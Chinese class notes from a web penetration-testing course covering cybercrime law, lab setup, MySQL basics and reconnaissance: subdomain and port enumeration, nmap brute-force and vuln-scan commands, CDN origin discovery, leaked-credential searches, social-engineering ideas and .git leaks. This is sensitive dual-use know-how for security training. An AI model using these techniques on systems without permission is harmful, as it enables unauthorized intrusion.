课程:磐石计划:Web安全漏洞与渗透测试
主讲老师:陈殷
课程详情:https://www.cnblogs.com/xuanhun/p/12849767.html
本文内容:磐石计划课堂笔记
引用:课程讲义(作者:陈殷),课程PPT

1.安全概念

1.1初探安全

信息安全

信息安全是指信息网络的硬件、软件及其系统中的数据受到保护,不受偶然的或者恶意的原因而遭到破坏、更改、泄露,系统连续可靠正常地运行,信息服务不中断。

信息安全是一门涉及计算机科学、网络技术、通信技术、密码技术、信息安全技术、应用数学、数论、信息论等多种学科的综合性学科。

从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。

1.2网络安全法

中国与网络安全的相关法律法规

犯罪 - 刑事处罚:《刑法》

违法 - 治安处罚:《治安管理处罚法》

处分 - 从业禁止:《网络安全法》

《刑法》第285、286条主要罪名

  • 非法侵入计算机信息系统罪

  • 非法获取计算机信息系统数据、非法控制计算机信息系统罪

  • 提供侵入、非法控制计算机信息系统的程序、工具罪

  • 破坏计算机信息系统罪

《刑法》第二百八十五条

【非法侵入计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。

【非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

【提供侵入、非法控制计算机信息系统的程序、工具罪】提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。

情节严重

(一)获取支付结算、证券交易、期货交易等网络金融服务的身份认证信息十组以上的;

(二)获取第(一)项以外的身份认证信息五百组以上的;

(三)非法控制计算机信息系统二十台以上的;

(四)违法所得五千元以上或者造成经济损失一万元以上的;

(五)其他情节严重的情形。

情节特别严重

(一)数量或者数额达到前款第(一)项至第(四)项规定标准五倍以上的;(获取网络金融服务身份认证信息五十组以上,一般用户身份认证信息二千五百组以上,或者侵入系统一百台以上,或者造成经济损失五万元以上的。)

(二)其他情节特别严重的情形。

提供侵入、非法控制计算机信息系统的程序、工具,明知是他人非法控制的计算机信息系统,而对该计算机信息系统的控制权加以利用的,依照前两款的规定定罪处罚。

情节严重(285条)

  • 10组

  • 500组

  • 20台

  • 5000元/10000元

  • 5倍

第二百八十五条 非法侵入计算机信息系统罪

违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。 违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。 提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。 单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照各该款的规定处罚。

《刑法》第二百八十六条

【破坏计算机信息系统罪】违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。

违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。

故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。

处罚

  • 后果严重 - 五年以下有期徒刑或者拘役

  • 后果特别严重 - 五年以上有期徒刑

后果严重

(一)造成10台以上计算机信息系统的主要软件或者硬件不能正常运行的;

(二)对20台以上计算机信息系统中存储、处理或者传输的数据进行删除、修改、增加操作的;

(三)违法所得5000以上或者造成经济损失10000元以上的;

(四)造成为100台以上计算机信息系统提供域名解析、身份认证、计费等基础服务或者为一万以上用户提供服务的计算机信息系统不能正常运行累计一小时以上的;

(五)造成其他严重后果的。

后果特别严重

(一)数量或者数额达到前款第(一)项至第(三)项规定标准五倍以上的;(造成50台以上计算机信息系统的主要软件或者硬件不能正常运行的;对100台以上计算机信息系统中存储、处理或者传输的数据进行删除、修改、增加操作的;违法所得25000元以上或者造成经济损失50000元以上的。)

(二)造成为500台以上计算机信息系统提供域名解析、身份认证、计费等基础服务或者为五万以上用户提供服务的计算机信息系统不能正常运行累计一小时以上的;

(三)破坏国家机关或者金融、电信、交通、教育、医疗、能源等领域提供公共服务的计算机信息系统的功能、数据或者应用程序,致使生产、生活受到严重影响或者造成恶劣社会影响的;

(四)造成其他特别严重后果的。

情节严重(刑法-286条)

  • 10台

  • 20台

  • 100台/1小时(一万用户)

  • 5000元/10000元

  • 5倍

第二百八十六条 破坏计算机信息系统罪

违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。 违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。 故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。 单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。

《治安管理处罚法》第二十九条

有下列行为之一的,处五日以下拘留;情节较重的,处五日以上十日以下拘留:

(一)违反国家规定,侵入计算机信息系统,造成危害的;

(二)违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行的;

(三)违反国家规定,对计算机信息系统中存储、处理、传输的数据和应用程序进行删除、修改、增加的;

(四)故意制作、传播计算机病毒等破坏性程序,影响计算机信息系统正常运行的。

《网络安全法》

第六十三条 第三款

违反本法第二十七条规定,受到治安管理处罚的人员,五年内不得从事网络安全管理和网络运营关键岗位的工作;受到刑事处罚的人员,终身不得从事网络安全管理和网络运营关键岗位的工作。

禁止性规定/事后性惩罚

刑事处罚/治安处罚/从业禁止

遵从法律框架、规范技术手段

第二十六条

开展网络安全认证、检测、风险评估等活动,向社会发布系统漏洞、计算机病毒、网络攻击、网络侵入等网络安全信息,应当遵守国家有关规定。

法律法规要加强学习
圈子里交友要谨慎
技术操作要规范

1.3提问的艺术

提问是我们拨开迷障发现问题真正所在,但是如何去提问

前提:先百度!先百度!先百度!

原则:礼貌为前提 精准描述

答疑之后:

谢谢师傅,我再试一下,耽误您时间了~

or

红包

2.环境搭建

2.1搭建phpstudy环境 & hosts讲解 & cdn讲解

phpstudy环境:https://www.xp.cn/(官网)
hosts:https://baike.baidu.com/item/hosts/10474546(百度百科)
cdn:https://www.cnblogs.com/lianghe01/p/11132133.html(lianghe的博客)

2.2搭建Kali Linux和Metasploitable2

Kali

Kali Linux是基于Debian的Linux发行版
Kali Linux是一个高级渗透测试和安全审计Linux发行版。
这是黑客必备工具之一

Metasploitable2

Metasploitable是故意易受攻击的Linux虚拟机。该VM可用于进行安全培训,测试安全工具并练习常见的渗透测试技术。

默认的登录名是msfadmin
密码:msfadmin。

切勿将此虚拟机暴露于不受信任的网络(如果您有任何疑问,请使用NAT或仅主机模式)。

3.学习基础

3.1HTML基础

HTML称为超文本标记语言,是一种标识性的语言。它包括一系列标签.通过这些标签可以将网络上的文档格式统一,使分散的Internet资源连接为一个逻辑整体。HTML文本是由HTML命令组成的描述性文本,HTML命令可以说明文字,图形、动画、声音、表格、链接等。

JavaScript

sublime

3.2PHP基础

PHP(全称:PHP:超文本预处理器,即“ PHP:超文本预处理器”)是一种通用的开源脚本语言。

PHP功能和好处

  • 可以生成动态页面内容

  • 可以创建,打开,读取,写入,关闭服务器上的文件

  • 可以收集表单数据

  • 可以发送和接收cookie

  • 可以添加,删除,修改您的数据库中的数据

  • 可以限制用户访问您的网站上的一些页面

  • 可以加密数据

  • 通过PHP,您可以不再输出HTML。您可以输出图像,PDF文件,甚至Flash电影。您还可以输出任意的文本,例如XHTML和XML。

  • 可在不同的平台上运行(Windows,Linux,Unix,Mac OS X等)

  • 与当前几乎所有的正在被使用的服务器相兼容(Apache,IIS等)

  • 提供了广泛的数据库支持

  • 是免费的,可从官方的PHP资源下载它: www.php.net

  • 易于学习,尽可能高效地运行在服务器端

3.3mysql基础(此部分为陈殷大佬的讲义)

结构化查询语言,即SQL【structured query language】

需注意:

1,所有DBMS(database manager system)都执行SQL语法

2,数据库语言中的字符串要用单引号加起来

3,SQL中不区分大小写

MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一。

在本教程中,会让大家快速掌握 MySQL 的基本知识,并轻松使用 MySQL 数据库。

什么是数据库?

数据库(Database)是按照数据结构来组织、存储和管理数据的仓库。

每个数据库都有一个或多个不同的 API 用于创建,访问,管理,搜索和复制所保存的数据。

我们也可以将数据存储在文件中,但是在文件中读写数据速度相对较慢。

所以,现在我们使用关系型数据库管理系统(RDBMS)来存储和管理大数据量。所谓的关系型数据库,是建立在关系模型基础上的数据库,借助于集合代数等数学概念和方法来处理数据库中的数据。

RDBMS 即关系数据库管理系统(Relational Database Management System)的特点:

  • 1.数据以表格的形式出现
  • 2.每行为各种记录名称
  • 3.每列为记录名称所对应的数据域
  • 4.许多的行和列组成一张表单
  • 5.若干的表单组成database

MySQL数据库

MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。

  • MySQL 是开源的,所以你不需要支付额外的费用。
  • MySQL 支持大型的数据库。可以处理拥有上千万条记录的大型数据库。
  • MySQL 使用标准的 SQL 数据语言形式。
  • MySQL 可以运行于多个系统上,并且支持多种语言。这些编程语言包括 C、C++、Python、Java、Perl、PHP、Eiffel、Ruby 和 Tcl 等。
  • MySQL 对PHP有很好的支持,PHP 是目前最流行的 Web 开发语言。
  • MySQL 支持大型数据库,支持 5000 万条记录的数据仓库,32 位系统表文件最大可支持 4GB,64 位系统支持最大的表文件为8TB。
  • MySQL 是可以定制的,采用了 GPL 协议,你可以修改源码来开发自己的 MySQL 系统。

Mysql查询数据库

登录后可以查询现有的数据库

show databases;

MySQL 创建数据库

我们可以在登陆 MySQL 服务后,使用 create 命令创建数据库,语法如下:

CREATE DATABASE 数据库名;

以下命令简单的演示了创建数据库的过程,数据名为 RUNOOB:

[root@host]# mysql -u root -p
Enter password:****mysql> create DATABASE rock;

MySQL 删除数据库

使用普通用户登陆 MySQL 服务器,你可能需要特定的权限来创建或者删除 MySQL 数据库,所以我们这边使用 root 用户登录,root 用户拥有最高权限。

在删除数据库过程中,务必要十分谨慎,因为在执行删除命令后,所有数据将会消失。

drop 命令删除数据库

drop 命令格式:

drop database <数据库名>;

例如删除名为 RUNOOB 的数据库:

mysql> drop database rock;

MySQL 选择数据库

在你连接到 MySQL 数据库后,可能有多个可以操作的数据库,所以你需要选择你要操作的数据库。

从命令提示窗口中选择MySQL数据库

在 mysql> 提示窗口中可以很简单的选择特定的数据库。你可以使用SQL命令来选择指定的数据库。

实例

以下实例选取了数据库 RUNOOB:

[root@host]# mysql -u root -p
Enter password:****
mysql> use rock;
Database changed
mysql>

执行以上命令后,你就已经成功选择了rock数据库,在后续的操作中都会在rock数据库中执行。

注意: 所有的数据库名,表名,表字段都是区分大小写的。所以你在使用SQL命令时需要输入正确的名称。

MySQL 数据类型

MySQL中定义数据字段的类型对你数据库的优化是非常重要的。

MySQL支持多种类型,大致可以分为三类:数值、日期/时间和字符串(字符)类型。

数值类型

MySQL支持所有标准SQL数值数据类型。

这些类型包括严格数值数据类型(INTEGER、SMALLINT、DECIMAL和NUMERIC),以及近似数值数据类型(FLOAT、REAL和DOUBLE PRECISION)。

关键字INT是INTEGER的同义词,关键字DEC是DECIMAL的同义词。

BIT数据类型保存位字段值,并且支持MyISAM、MEMORY、InnoDB和BDB表。

作为SQL标准的扩展,MySQL也支持整数类型TINYINT、MEDIUMINT和BIGINT。下面的表显示了需要的每个整数类型的存储和范围。

类型 大小 范围(有符号) 范围(无符号) 用途
TINYINT 1 byte (-128,127) (0,255) 小整数值
SMALLINT 2 bytes (-32 768,32 767) (0,65 535) 大整数值
MEDIUMINT 3 bytes (-8 388 608,8 388 607) (0,16 777 215) 大整数值
INT或INTEGER 4 bytes (-2 147 483 648,2 147 483 647) (0,4 294 967 295) 大整数值
BIGINT 8 bytes (-9,223,372,036,854,775,808,9 223 372 036 854 775 807) (0,18 446 744 073 709 551 615) 极大整数值
FLOAT 4 bytes (-3.402 823 466 E+38,-1.175 494 351 E-38),0,(1.175 494 351 E-38,3.402 823 466 351 E+38) 0,(1.175 494 351 E-38,3.402 823 466 E+38) 单精度 浮点数值
DOUBLE 8 bytes (-1.797 693 134 862 315 7 E+308,-2.225 073 858 507 201 4 E-308),0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308) 0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308) 双精度 浮点数值
DECIMAL 对DECIMAL(M,D) ,如果M>D,为M+2否则为D+2 依赖于M和D的值 依赖于M和D的值 小数值

日期和时间类型

表示时间值的日期和时间类型为DATETIME、DATE、TIMESTAMP、TIME和YEAR。

每个时间类型有一个有效值范围和一个"零"值,当指定不合法的MySQL不能表示的值时使用"零"值。

TIMESTAMP类型有专有的自动更新特性,将在后面描述。

类型 大小 ( bytes) 范围 格式 用途
DATE 3 1000-01-01/9999-12-31 YYYY-MM-DD 日期值
TIME 3 ‘-838:59:59’/‘838:59:59’ HH:MM:SS 时间值或持续时间
YEAR 1 1901/2155 YYYY 年份值
DATETIME 8 1000-01-01 00:00:00/9999-12-31 23:59:59 YYYY-MM-DD HH:MM:SS 混合日期和时间值
TIMESTAMP 4 1970-01-01 00:00:00/2038结束时间是第 2147483647 秒,北京时间 2038-1-19 11:14:07,格林尼治时间 2038年1月19日 凌晨 03:14:07 YYYYMMDD HHMMSS 混合日期和时间值,时间戳

字符串类型

字符串类型指CHAR、VARCHAR、BINARY、VARBINARY、BLOB、TEXT、ENUM和SET。该节描述了这些类型如何工作以及如何在查询中使用这些类型。

类型 大小 用途
CHAR 0-255 bytes 定长字符串
VARCHAR 0-65535 bytes 变长字符串
TINYBLOB 0-255 bytes 不超过 255 个字符的二进制字符串
TINYTEXT 0-255 bytes 短文本字符串
BLOB 0-65 535 bytes 二进制形式的长文本数据
TEXT 0-65 535 bytes 长文本数据
MEDIUMBLOB 0-16 777 215 bytes 二进制形式的中等长度文本数据
MEDIUMTEXT 0-16 777 215 bytes 中等长度文本数据
LONGBLOB 0-4 294 967 295 bytes 二进制形式的极大文本数据
LONGTEXT 0-4 294 967 295 bytes 极大文本数据

注意:char(n) 和 varchar(n) 中括号中 n 代表字符的个数,并不代表字节个数,比如 CHAR(30) 就可以存储 30 个字符。

CHAR 和 VARCHAR 类型类似,但它们保存和检索的方式不同。它们的最大长度和是否尾部空格被保留等方面也不同。在存储或检索过程中不进行大小写转换。

BINARY 和 VARBINARY 类似于 CHAR 和 VARCHAR,不同的是它们包含二进制字符串而不要非二进制字符串。也就是说,它们包含字节字符串而不是字符字符串。这说明它们没有字符集,并且排序和比较基于列值字节的数值值。

BLOB 是一个二进制大对象,可以容纳可变数量的数据。有 4 种 BLOB 类型:TINYBLOB、BLOB、MEDIUMBLOB 和 LONGBLOB。它们区别在于可容纳存储范围不同。

有 4 种 TEXT 类型:TINYTEXT、TEXT、MEDIUMTEXT 和 LONGTEXT。对应的这 4 种 BLOB 类型,可存储的最大长度不同,可根据实际情况选择。

MySQL 创建数据表

创建MySQL数据表需要以下信息:

  • 表名
  • 表字段名
  • 定义每个表字段

语法

以下为创建MySQL数据表的SQL通用语法:

CREATE TABLE table_name (column_name column_type);

以下例子中我们将在 RUNOOB 数据库中创建数据表runoob_tbl:

mysql> create table `user`(-> `id` int auto_increment,-> `name` char(30) not null,-> primary key (`id`));

MySQL 删除数据表

MySQL中删除数据表是非常容易操作的, 但是你再进行删除表操作时要非常小心,因为执行删除命令后所有数据都会消失。

语法

以下为删除MySQL数据表的通用语法:

DROP TABLE table_name ;

在命令提示窗口中删除数据表

在mysql>命令提示窗口中删除数据表SQL语句为 DROP TABLE

实例

以下实例删除了数据表user:

root@host# mysql -u root -p
Enter password:****
mysql> use rock;
Database changed
mysql> DROP TABLE user
Query OK, 0 rows affected (0.8 sec)
mysql>

MySQL 插入数据

MySQL 表中使用 INSERT INTO SQL语句来插入数据。

你可以通过 mysql> 命令提示窗口中向数据表中插入数据,或者通过PHP脚本来插入数据。

语法

以下为向MySQL数据表插入数据通用的 INSERT INTO SQL语法:

INSERT INTO table_name ( field1, field2,...fieldN )VALUES( value1, value2,...valueN );

如果数据是字符型,必须使用单引号或者双引号,如:“value”。

通过命令提示窗口插入数据

以下我们将使用 SQL INSERT INTO 语句向 MySQL 数据表 runoob_tbl 插入数据

实例

以下实例中我们将向 user表插入一条数据:

mysql> insert into user-> (name)-> value-> ("chenyin");
Query OK, 1 row affected (0.00 sec)

注意: 使用箭头标记 -> 不是 SQL 语句的一部分,它仅仅表示一个新行,如果一条SQL语句太长,我们可以通过回车键来创建一个新行来编写 SQL 语句,SQL 语句的命令结束符为分号 ;

在以上实例中,我们并没有提供id 的数据,因为该字段我们在创建表的时候已经设置它为 AUTO_INCREMENT(自动增加) 属性。

所以,该字段会自动递增而不需要我们去设置。

接下来我们可以通过以下语句查看数据表数据:

MySQL 查询数据

MySQL 数据库使用SQL SELECT语句来查询数据。

你可以通过 mysql> 命令提示窗口中在数据库中查询数据,或者通过PHP脚本来查询数据。

语法

以下为在MySQL数据库中查询数据通用的 SELECT 语法:

SELECT column_name,column_name
FROM table_name
[WHERE Clause]
[LIMIT N][ OFFSET M]
  • 查询语句中你可以使用一个或者多个表,表之间使用逗号(,)分割,并使用WHERE语句来设定查询条件。
  • SELECT 命令可以读取一条或者多条记录。
  • 你可以使用星号(*)来代替其他字段,SELECT语句会返回表的所有字段数据
  • 你可以使用 WHERE 语句来包含任何条件。
  • 你可以使用 LIMIT 属性来设定返回的记录数。
  • 你可以通过OFFSET指定SELECT语句开始查询的数据偏移量。默认情况下偏移量为0。

通过命令提示符获取数据

以下实例我们将通过 SQL SELECT 命令来获取 MySQL 数据表 user的数据:

实例

以下实例将返回数据表 user的所有记录:

读取数据表:

select * from user;

输出结果:

MySQL UNION 操作符

MySQL UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。多个 SELECT 语句会删除重复的数据。

UNION 语句:用于将不同表中相同列中查询的数据展示出来;(不包括重复数据)

我们首先创建一个新表

mysql> create table user1(
-> id int auto_increment,
-> name char(30) not null,
-> primary key (id));
Query OK, 0 rows affected (0.57 sec)

在user1插入一条数据

查询

UNION ALL 语句:用于将不同表中相同列中查询的数据展示出来;(包括重复数据)

使用形式如下:

SELECT 列名称 FROM 表名称 UNION SELECT 列名称 FROM 表名称 ORDER BY 列名称;
SELECT 列名称 FROM 表名称 UNION ALL SELECT 列名称 FROM 表名称 ORDER BY 列名称;

MySQL 排序

我们知道从 MySQL 表中使用 SQL SELECT 语句来读取数据。

如果我们需要对读取的数据进行排序,我们就可以使用 MySQL 的 ORDER BY 子句来设定你想按哪个字段哪种方式来进行排序,再返回搜索结果。

语法

以下是 SQL SELECT 语句使用 ORDER BY 子句将查询数据排序后再返回数据:

SELECT field1, field2,...fieldN FROM table_name1, table_name2...
ORDER BY field1 [ASC [DESC][默认 ASC]], [field2...] [ASC [DESC][默认 ASC]]
  • 你可以使用任何字段来作为排序的条件,从而返回排序后的查询结果。
  • 你可以设定多个字段来排序。
  • 你可以使用 ASC 或 DESC 关键字来设置查询结果是按升序或降序排列。 默认情况下,它是按升序排列。
  • 你可以添加 WHERE…LIKE 子句来设置条件。

首先添加多条数据

根据id进行排序

4.信息收集

4.1浅谈渗透测试前的信息收集

  • 常规信息收集
  • 搜索引擎技巧
  • 资产发现与监控
  • 社工思路拓展

常规信息收集

常规信息收集之域名

  • 备案号查询
  • 暴力枚举
  • SSL证书查询
  • 第三方接口

根据所有者地址和其它信息进行域名拓补图绘制

备案号查询

备案号是网站是否合法注册经营的标志,可随时到国家工业和信息化部网站备案系统上查询该ICP备案的相关详细信息。

网站:www.beianbeian.com

点击反查,即可出现百度公司的相关资产

子域名发现的原理

利用现有搜索引擎:

  • 网页搜索引擎(如:谷歌等)

  • 空间搜索引擎(如:Shodan等)

  • SSL证书(如:crt.sh等)

爆破

又分为两种:

  • 直接访问子域名

  • 利用 DNS 请求

其他泄露信息

  • 如 crossdomain.xml 文件等

  • 爬虫递归爬取等

  • DNS域传送漏洞等

常规信息收集——子域名:暴力枚举

推荐工具1:Layer子域名挖掘机5.0 SAINTSEC更新版

Author:Seay

Modify:akast、dark3r

支持服务接口、暴力搜索、同服挖掘三种模式

支持打开网站、复制域名、复制IP、复制CDN

支持导出检测结果等功能

推荐指数:★★★★★

推荐工具2:subdomainsBurte

author:李劼杰

这个脚本的主要目标是发现其他工具无法探测到的域名,如Google,aizhan,fofa。

高频扫描每秒DNS请求数可超过1000次。

DownLoad Link:

https://github.com/y1ng1996/lijiejie_subDomainsBrute

推荐指数:★★★★★

常规信息收集——子域名:SSL证书查询

推荐网站1:censys.io

推荐指数:★★★★★

推荐网站2:crt.sh

推荐指数:★★★★★

推荐网站3:dnsdumpster.com

DNS服务器

MX记录

主机记录

推荐指数:★★★

常规信息收集——子域名:证书泄密

工具:火狐浏览器

访问https的链接可能出现

常规信息收集——子域名:第三方查询

推荐网站:shodan

推荐指数:★★★★★

推荐网站:fofa

推荐指数:★★★★★

常规信息收集之IP段

  • 绕过cdn小思路
  • ip段收集
  • 旁站查询
  • C段查询
  • ip数据库

常规信息收集——尝试查找CDN背后的真实ip

钟馗之眼: https://www.zoomeye.org/

censys: https://www.censys.io/

shodan: https://www.shodan.io/

全球DNS搜索引擎: https://www.dnsdb.io/zh-cn

FOFA :https://fofa.so/

Surfwax元搜索: http://lookahead.surfwax.com/

Way Back Machine(搜索网站过去的样子): https://archive.org/web/

Google学术 :https://scholar.google.com.ph/

让网站与你主动建立连接

example:订阅网站、RSS、注册链接

方法:查看邮件源代码(也有一种可能就是邮件服务器IP跟web服务器只是在一个c段上,这时候就需要对整个c段进行扫描)

缺点:目标站使用其它邮箱接口此方法则失效

常规信息收集——IP段整理

IPwhois.cnnic.net.cn

中国互联网络信息中心

常规信息收集——C段查询、旁站查询

https://phpinfo.me/bing.php

http://www.webscan.cc

常规信息收集——纯真IP数据库

常规信息收集之端口扫描

  • 浅谈常用端口安全风险
  • 端口扫描
  • nmap使用技巧

浅谈端口安全——常用端口以及常见测试项目

端口号 服务和测试
21 ftp
22 SSH
23 Telnet
80 web
80-89 web
161 SNMP
389 LDAP
443 SSL心脏滴血
445 SMB
512,513,514 Rexec
873 Rsync未授权
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus Port:5560,7778)
2601,2604 zebra路由,默认密码zebra
3306 MySQL
3312/3311 kangle主机管理系统登陆
3389 远程桌面
4440 rundeck
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
7778 Kloxo主机控制面板登录
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
7001,7002 WebLogic默认弱口令,反序列
7778 Kloxo主机控制面板登录
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS
8161 activemq未授权访问默认用户名和密码是admin
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问

常规信息收集——端口信息收集

masscan

Download Link:https://github.com/robertdavidgraham/masscan

它可以在6分钟内扫描整个互联网,从一台机器每秒传输1000万个数据包。

masscan使用自己的自定义TCP / IP堆栈。

除简单端口扫描之外的任何其他操作都可能导致与本地TCP / IP堆栈冲突。

缺点:但是很吃带宽

推荐指数:★★★★★

scanport

小巧的windows端口快速扫描工具

最大线程为200

推荐指数:★★★★★

御剑

基于VB.NET + IOCP模型开发的高效端口扫描工具

支持IP区间合并,端口区间合并

端口指纹深度探测

推荐指数:★★★★★

常规信息收集——利用nmap快速捡洞和检洞

利用nmap五条指令快速捡洞和检洞:

系统漏洞检测:nmap --script smb-check-vulns.nse -p 192.168.1.1

数据库密码检测:nmap --script=brute 192.168.1.1

收集应用服务信息: nmap -sC 192.168.1.1

检测常见漏洞:nmap --script=vuln 192.168.1.1

检测部分应用的弱口令(负责处理鉴权证书): nmap --script=auth 192.168.1.1

常规信息收集之指纹收集

  • 第三方
  • 浏览器插件

指纹收集——第三方收集

云悉指纹
网站:www.yunsee.cn

指纹收集——浏览器插件妙用

Wappalyzer

Wappalyzer:Wappalyzer是一款能够分析目标网站所采用的平台构架、网站环境、服务器配置环境、JavaScript框架、编程语言等参数的chrome网站技术分析插件。

常规信息收集之路径扫描

  • 状态码浅析
  • 路径扫描工具
  • BurpSuite打造扫描工具
  • 另类思路

常规信息收集——状态码浅析

状态码 意义 中文释义
200 OK 客户端请求成功,响应主题包含请求的结果
400 Bad Request 客户端请求有语法错误,不能被服务器所理解,比如url插入无效的字符
401 Unauthorized 请求未经授权,被允许之前要求进行http身份认证, WWW-Authenticate消息头说明所支持的身份验证类型
403 Forbidden 禁止所有人访问被请求的资源
404 Not Found 请求资源不存在,eg:输入了错误的 URL
405 Method not allowed 用了不支持的请求方法 如:put
503 Server Unavailable 服务器当前不能处理客户端的请求,一段时间后可能恢复正常

常规信息收集——路径扫描工具原理浅析

返回状态码

返回内容正则判断

返回头

返回内容大小

目录字典

……

github项目推荐:https://github.com/Mosuan/FileScan

常规信息收集——使用Burp打造一个简易的扫描工具

使用到的工具:BurpSuite Intruder + 一份路径字典

常规信息收集——路径扫描工具

DirMap

一个高级的Web目录扫描工具

功能将会强于DirBuster,Dirsearch,cansina,御剑

Github:https://github.com/H4ckForJob/dirmap

使用Python3安装所需支持库:

python3 -m pip install -r requirements.txt

功能特点:

•支持Ñ个目标* N个有效载荷并发

•支持递归扫描

•支持自定义需要递归扫描的状态码

•支持(单|多)字典扫描

•支持自定义字符集爆破

•支持爬虫动态字典扫描

•支持自定义标签模糊目标网址

•自定义请求的User-Agent

•自定义请求随机延时

•自定义请求超时时间

•自定义请求代理

•自定义正则表达式匹配假性404页面

•自定义要处理的响应状态码

•自定义跳过大小为X的页面

•自定义显示的内容类型

•自定义显示页面大小

•按域名去重复保存结果

7kbscan

御剑系列

常规信息收集——另类猜测思路

经过观察发现,我们可以猜测开发者喜欢命名的方式是:该操作的英文名称+首字母大写

那么我们可以手动生成以下url进行探测:

AdminLogin

ManageLogin

UserEdit

……

搜索引擎技巧

  • 大众搜索引擎
  • 网络空间设备搜索引擎
  • 泄密查询

常规搜索引擎

  • 高级语法巧用

  • 高级语法组合

  • 敏感关键字搜索

网络空间设备搜索

fofa

country="CN" 搜索中国的资产

region="Zhejiang" 搜索指定行政区的资产

city="Hangzhou" 搜索指定城市的ip资产

title="abc" 从标题中搜索abc

查询条件连接:&&

eg:

查询所属城市为杭州、标题为后台登录的页面

city="Hangzhou"&&title="后台登录"

泄密查询——百度网盘泄密

关键字:XXX公司内部资料

关键字:XXX网密码

泄密查询——GITHUB

推荐项目:https://github.com/0xbug/Hawkeye

监控GitHub的代码库,及时发现员工托管公司代码到GitHub的行为并预警,降低代码泄露风险。

资产监控与分析

  • 自主搜索
  • 第三方平台
  • 自主搭建

主动搜索

各软件商店(Android、ISO)

自媒体第三方平台

微信小程序

网站产品列表

朋友圈

……

苹果商店
开发者选项

第三方平台
threatbook.cn

自主搭建

原理:爬虫+搜索引擎+数据库+定时扫描+邮箱提醒

以LangSrcCurise为例:

Github:https://github.com/LangziFun/LangSrcCurise

通过网络搜索引擎监控其下指定域名,并且能进行持续性信息收集整理的自动化资产监控管理系统,基于Django开发。

社会工程学的正确食用姿势

细心挖天下

乌云漏洞库的秘密

打码不全、无打码、后台地址、后台管理员账号商家账号……

钓鱼?

该操作涉及法律风险,仅供学习娱乐,请勿用于非法用途。

社工学本质在于欺骗,精髓在于让被骗者在经过思考之后陷入设计好的圈套。假设被骗者是有智慧和思想的,而他们的智慧和思想却总是在你的掌控之内,总的来说,就是利用人性的弱点,这是人的一个BUG。

中华宝典:《三十六计》、范建忠《黑客社会工程学攻击档案袋》

国外宝典:凯文米特尼克《欺骗的艺术》

攻击手段设想:

软社工:mail钓鱼、chat attacking、网络员工群、VPN……

硬社工:U盘、身份伪装、局域网渗透……

5.漏洞讲解

5.1文件泄露

git

git可以说是当今最受欢迎的版本控制/版本管理软件了, 很多基于git的云端托管仓库都提供了免费的托管服务, 甚至有不少还支持免费私有仓库, 如bitbucket和国内的gitosc(开源中国)等.

关键文件

git在初始化项目的时候, 会在项目的根目录(可用git rev-parse --show-toplevel查看)创建一个名为.git的隐藏文件夹, 里面包含了本地所有commit的历史记录. 如果无意间将这个目录置于WEB的路径下让用户可以访问,那么也就泄露了几乎所有的源代码和其他其他敏感信息.

泄露内容

所有该项目的源代码

私有仓库的地址

私密的配置信息

所有commiter的邮箱帐号信息

(可能)内部的帐号和密码

GitHack is a .git folder disclosure exploit.

